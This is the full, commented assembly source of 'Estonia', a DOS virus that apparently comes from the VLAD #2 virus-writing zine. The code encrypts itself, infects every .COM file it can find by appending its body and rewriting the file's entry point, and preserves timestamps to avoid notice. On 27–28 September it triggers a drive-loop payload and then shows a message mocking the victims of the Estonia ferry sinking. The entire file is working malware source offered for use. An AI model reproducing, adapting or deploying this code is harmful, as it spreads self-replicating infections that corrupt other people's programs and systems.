; D A R K M A N
; Proudly Presents
; E S T O N I A
psp equ 100h
virussize equ extracopy - code
cryptsize equ extracopy - crypted - 01h
dtaoffset equ 02h * virussize + psp
filetime equ dtaoffset + 16h
filedate equ dtaoffset + 18h
filesize equ dtaoffset + 1ah
filename equ dtaoffset + 1eh
memsize equ dtaoffset + 2bh
estonia segment
assume cs:estonia,ds:estonia,es:estonia
org 100h ; Origin of COM-file
code:
call viruscode
virusid db 'ES' ; Estonia Scan-ID
viruscode:
pop bp ; Load BP from stack
sub bp,offset virusid ; BP = delta offset
or bp,bp ; BP = 0?
je crypted ; Equal? Jump to crypted
std ; Set direction flag
lea bx,[bp+crypted] ; AX = offset encrypted code
mov cx,02h ; Transpose 2 times
mov dx,cryptsize ; Decrypt 350 bytes
denexttime:
push cx ; Save CX at stack
mov cx,dx ; CX = size of encrypted code
mov di,bx
add di,dx ; DI = offset of last encrypted code
mov si,di ; SI = offset of last encrypted code
lodsb ; Load last plain byte
sub [bx],al ; Subtract AL from first encrypt byte
denextbyte:
lodsw ; Load 2 encrypted bytes
sub ah,al ; Subtract AL from AH
mov al,ah ; AL = decrypted byte
stosb ; Store a decrypted byte
inc si ; Increase SI
loop denextbyte
pop cx ; Load CX from stack
loop denexttime
crypted:
cld ; Clear direction flag
mov ah,2ah ; Get system date
int 21h ; Do it!
cmp dx,091bh ; 27. September?
jb dontsink ; Below? Jump to dontsink
cmp dx,091ch ; 28. September?
ja dontsink ; Above? Jump to dontsink
xor al,al ; Clear AL
mov cx,19h ; Destroy drives A-Z
formattrack:
push cx ; Save CX at stack
mov ah,2 ; Read a track
xor cx,cx ; Clear CX
xor dh,dh ; Clear DH
mov dl,al
int 13h ; Do it! (disk)
inc al ; Increase AL
pop cx ; Load CX from stack
loop formattrack
mov ah,09h ; Standard output string
lea dx,message ; DX = offset of message
int 21h ; Do it!
int 20h ; Exit to DOS!
dontsink:
mov ah,4ah ; Modify memory allocation
mov bx,1000h ; The new block size is 65535 bytes
int 21h ; Do it!
jc virusexit ; Error? Jump to vitusexit
mov ah,1ah ; Set disk transfer address
lea dx,[bp+dtaoffset] ; DX = offset of new DTA
int 21h ; Do it!
mov ah,4eh ; Find first matching file
mov cx,22h ; File attribute hidden+archive
lea dx,[bp+filespec] ; DX = offset of filespec
findnext:
int 21h ; Do it!
jnc infect ; No error? Jump to infect
virusexit:
mov ah,1ah ; Set disk transfer address
mov dx,80h ; DX = offset of default DTA
int 21h ; Do it!
mov di,100h ; DI = beginning of code
lea si,[bp+realcode] ; SI = offset of realcode
push di ; Restore Instruction Pointer (IP)
movsw ; Move the real code to the beginning
movsw ; " " " " " " "
movsb ; " " " " " " "
ret ; Return!
setfileinfo:
mov cx,[bp+filetime] ; CX = file time in DTA
mov dx,[bp+filedate] ; DX = file date in DTA
mov ax,5701h ; Set file data and time
int 21h ; Do it!
closefile:
mov ah,3eh ; Close file
int 21h ; Do it!
mov ah,4fh ; Find next matching file
jmp short findnext
infect:
mov cx,virussize ; Move 400 bytes
lea di,[bp+extracopy] ; DI = offset of extracopy
lea si,[bp+code] ; SI = offset of code
rep movsb ; Create an extra copy of virus
mov ax,3d02h ; Open file (read/write)
lea dx,[bp+filename] ; DX = offset of filename in DTA
int 21h ; Do it!
jc closefile ; Error? Jump to closefile
xchg ax,bx ; Exchange AX with BX
mov ax,word ptr [bp+filesize]
cmp ax,05h ; AX = 5? (AX < 5)
jb closefile ; Less? Jump to closefile
cmp ax,(65535-memsize) ; AX = 64432? (AX > 64432)
ja closefile ; Greater? Jump to closefile
sub ax,03h ; AX = offset of virus code
mov [bp+offset estoniacode+01h],ax
mov ah,3fh ; Read from file
mov cx,05h ; Read 5 bytes
lea dx,[bp+virussize+realcode]
int 21h ; Do it!
cmp [bp+virussize+offset realcode+03h],'SE'
je closefile ; Infected? Jump to closefile
lea di,[bp+virussize+cryptvalues]
in ax,40h ; AX = port 40h
stosw ; Store AX in crypt values
in ax,40h ; AX = port 40h
stosw ; Store AX in crypt value
push bx ; Save BX at stack
lea bx,[bp+virussize+crypted]
mov cx,02h ; Transpose 2 times
mov dx,cryptsize ; Encrypt 350 bytes
ennexttime:
push cx ; Save CX at stack
mov cx,dx ; CX = size of plain code
mov di,bx ; DI = offset of plain code
mov si,bx ; SI = offset of plain code
inc di ; Increase DI
ennextbyte:
lodsw ; Load 2 plain bytes
add al,ah ; Add AH to AL
stosb ; Store a encrypted byte
dec si ; Decrease SI
loop ennextbyte
add [bx],al ; Add AL to plain byte
pop cx ; Load CX from stack
loop ennexttime
pop bx ; Load BX from stack
mov ax,4202h ; Move file pointer to the end
xor cx,cx ; Clear CX
cwd ; Convert word to doubleword
int 21h ; Do it!
mov ah,40h ; Write to file
mov cx,virussize ; Write 400 bytes
lea dx,[bp+extracopy] ; DX = offset of extracopy
int 21h ; Do it!
cmp ax,cx ; Disk full?
jne infectdone ; Error? Jump to infectdone
mov ax,4200h ; Move file pointer to the beginning
xor cx,cx ; Clear CX
cwd ; Convert word to doubleword
int 21h ; Do it!
mov ah,40h ; Write to file
mov cx,05h ; Write 5 bytes
lea dx,[bp+estoniacode] ; DX = offset of estoniacode
int 21h ; Do it!
infectdone:
jmp setfileinfo
cryptvalues db 04h dup(?) ; Cryption values
estoniacode db 0e8h,00h,00h,'ES' ; New code of infected file
realcode db 0cdh,20h ; Real code of infected file
db 03h dup(?)
filespec db '*.COM',00h ; File specification
message db 'Your drives were ' ; This message will be shown the
db 'on the Estonia...' ; 27 / 28. September and then the
db ' They DIDN''T sur' ; drives (A-Z) bootsector will
db 'vive!!!',0dh,0ah ; look like it is being destroyed!!!
db '$'
extracopy:
estonia ends
end code
- VLAD #2 INDEX -